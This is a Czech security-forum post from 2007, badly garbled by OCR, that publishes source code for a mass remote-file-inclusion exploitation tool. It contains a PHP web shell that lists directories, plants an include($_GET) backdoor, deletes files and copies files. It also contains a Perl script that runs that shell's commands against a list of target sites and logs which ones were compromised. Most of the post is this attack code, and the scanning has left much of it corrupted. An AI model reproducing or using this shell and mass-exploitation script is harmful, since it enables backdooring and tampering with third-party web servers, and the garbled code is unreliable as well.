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Mass RFI exploiting tool

Vlozil/a Project skola [1], 24 Srpen, 2007 - 13:33

e Hacking [2]
e Programming [3]
e Security [4]

Zdrojové kédy Mass RFI Exploiting Tooly, aneb ovoce projektu #skola. 1) = RFIshell script funguijici
pres GET prikazy. 2) = Perl script pro automatizované vyuzivani codel RFishellu. Vysledek =
moznost masové provadét exploitaci RFI vulnerabilit !!

NNy

wtf: #skola / #skola_pentesting / mass rfi controller public selecta
aut hor: [4194]

grEEtz: cruelty, rap-tor, nst, RubberDuck, tch, nenber _id 3

suCks_: Hul *n, jakubdvor*k, nek

->Prilis kratky popis funkcionality na to aby to pochopil
OneBut t onHacklt Al 1 O i ckerz

rfishell script fungujici pres get prikazy
perl script pro automatizovane vyuzivani codel rfishellu

codel
code2

vysl edek=nbznost masove provadet exploitaci rfi vulnerabilit

Lecoded) /11111 I ET I bbb rrrriiirrri
<?php
session_start();
define("dbg", 1);
$cnd=ht M speci al char s(addsl ashes($ GET['cnd']));

($cnd! =$_GET['cnd' ] ){die("eRr");}
PELLTETLL bbb bbbl functi onz
function GetDirArray($sPath, &anp; $ret, &anp; $dir)
{

gl obal $tine0, $MAXTIME, $tinmeover

((time()-$ti me0) >$MAXTI ME) { S$tineover = 1; .
$handl e=opendi r ($sPat h) ;
($file = readdir($handl e))

{
}

cl osedi r ($handl e) ;
sort ($pol ozky) ;
(l'ist($key, $val) = each($pol ozky))

$pol ozky[ count ( $pol ozky)] = $file;

{
($val !'="." &anp; &np; $val !="..")

$path = str_replace("//","/", $sPat h. $val ) ;

$pat h2 = substr($path, 2);

$ret[count ($ret)] = $path2;
(is_dir($sPath."/". $val))

{
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$dir[count ($dir)] = 1;
ll/ll

GetDir Array( $sPat h. .$val "/ ", $ret, $dir);

$dir[count($dir)] = 0O;

LHELEEEEEr i ri il xfuncti onz
" [ ~PWNED~] <br >";
((substr($cnd, O, strlen("upload ")))=="upload "){$cnd=substr ($cnd, O, strl en("upl oad

"))
$cnd2=substr($_GET['cnd"' ], strlen("upload "),strlen($ _GET['cnd']));}

((substr($cnd, O, strlen("nake_backdoor ")))=="nmake_backdoor
"){$cnd=substr($cnd, O, strl en("nake_backdoor "));
$cnd2=substr($_GET['cnd' |, strl en("nmake_backdoor "),strlen($ CET['cnd']));}

((substr($cnd, O,strlen("erase ")))=="erase "){$cnd=substr($cnd, O, strlen("erase
"))
$cnd2=substr($_GET['cnd' ], strlen("erase "),strlen($ CGET['cnd']));}
(! $cnd2)
{
($cnd)

"creditz":

LELLTLLEEE i r il /creditz
NN NN NN NES
"wf: rfi shell 4 nass use<br>"
"aut hor: [4194] <br>"
"version: 0.001<br>";
NN NN NN NN NES

LELTELEEE i r i rririrrirllxereditz

"dir":
PELLETELL bbb irrrrrldir
SMAXTI ME = 60;
$tine0d = tine();
$ti neover = 0;
$cwd = getcwd();
"directory listing of ".%cwd. "\ n";
GetDirArray("./", $ret, $dir);
($timeover) "Provadeni skriptu preruseno, uplynul maxinmaln
povol eny cas ($MAXTI ME sek. ) <br><br>\n\n";
"<pre>";
(l'ist($key, $isdir) = each($dir))

list($key, $file) = each($ret);
($i sdir==1)
{

}

$file. "\ n";

"</ pre>";
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reset ($dir);

reset($ret);

"<pre>";
(list($key, $file) = each($ret))

{
list($key, $isdir) = each($dir);
($i sdi r==0)
{
$file. "\ n";
$count ++;
}
}
"</ pre>";

FECETEEEEE bbb bbb r bbb rr i xdir

"neexistujici prikaz";

}
} {
($cnd. $cnd2)
{

"make_backdoor ".$cnd2:
$backdoor dat a="<?php include(\$_GET[' wePWN ]); ?>"
$save=f open($cnd2, "w'") ;
$wite=fwite($save, $backdoor data);

(I$wite)
{
"erR';
} {
"upl oaded";
}
"erase ".$cnd2:
(($cnd2) &anp; &anp; (fil e_exi sts($cnd2)))
{
$x=unl i nk($cnd2) ;
(1$x){echo "eRr"; el sefecho "caj K"}
}
"upl oad ". $cnd2;
$f p=f open($cnd2, "r");
$dat a=fread($fp, fil esize($cnd2));
$save=f open("bd. php", "wW');
$wite=fwite(S$save, $data);
('$write)
{
"erR';
} {
"upl oaded";
}
"eRr"
}
}
?>
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Leode2) /1111111 E I bbb
#! [ usr/ bi n/ perl

#

# coded by [4194] -> #skol a_pentesting

# wePWN, wePWN, wePWN

#

#{cto}/ T rr iy
$cnd="rfishell cnd";

$rfishell="rfishell _url/rfishell filenane?cnd=";

#{inct/ LTI EEEr i rrr iy
requi re LWP:: User Agent ;

#{dc|\ Y0P rrr iy
my $ua = LWP: : User Agent - >new,

$ua- >ti meout (10);

open( TARGETS, "<xe.txt"); #targetz list file

ny(@inez_targets) = <TARGETS>;

#{tnct/ 1Ty

sub rtrim$)

{
my $s = shift;
$s =~ s/\s*$//;
return $s;

}

#{euny /L
$data_output ="<rfi _mass_sploit_result>\n";
foreach $radek (@inez_targets)
{
$dat a_out put . ="\t<itenr\n";
$url =rtrim $radek). $rfishell.$cnd;
my $response = $ua->get ($url);
i T ($response->i s_success)
{
$r =$r esponse- >cont ent ;
if($r=~ m\[~PWNED~\]/gi)
{
$data_output.= "\t\t<rox>\n";
$data_output.= "\t\t\t<action>".$cnd. "</ action>\n";
$data_output.= "\t\t\t<url>". $url."</url>\n";
$data_output. = "\t\t\t<description>fi sploit succeeded</description>\n";
$data_out put.= "\t\t</rox>\n";
}el se{
$dat a_out put .

"\t\t<sux>\n";

$data_output.= "\t\t\t<url>". $url."</url>\n";

$data_output. = "\t\t\t<action>".$cnd. "</ acti on>\n";

$data_output.= "\t\t\t<description>fi sploit failed</description>\n";
$dat a_out put . = "\t\t</sux>\n";

}

el se {
$data_output. = "\t\t<sux>\n";
$data_output. = "\t\t\t<url>" $url."</url>\n";
$data_out put.= "\t\t\t<action>".S$cnd."</action>\n";
$data_output. = "\t\t\t<description>eRr in request</description>\n";
$dat a_out put. = "\t\t</sux>\n";

}

$data_out put. ="\t</itenr\n";

}

$data_output.="</rfi_mass_sploit_result>";

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn
Strana4z5



Mass RFI exploiting tool
Publikovano na serveru Security-Portal.cz (https://security-portal.cz)

print $data_out put;
#OLLLPPPEEr i rririrrrrr
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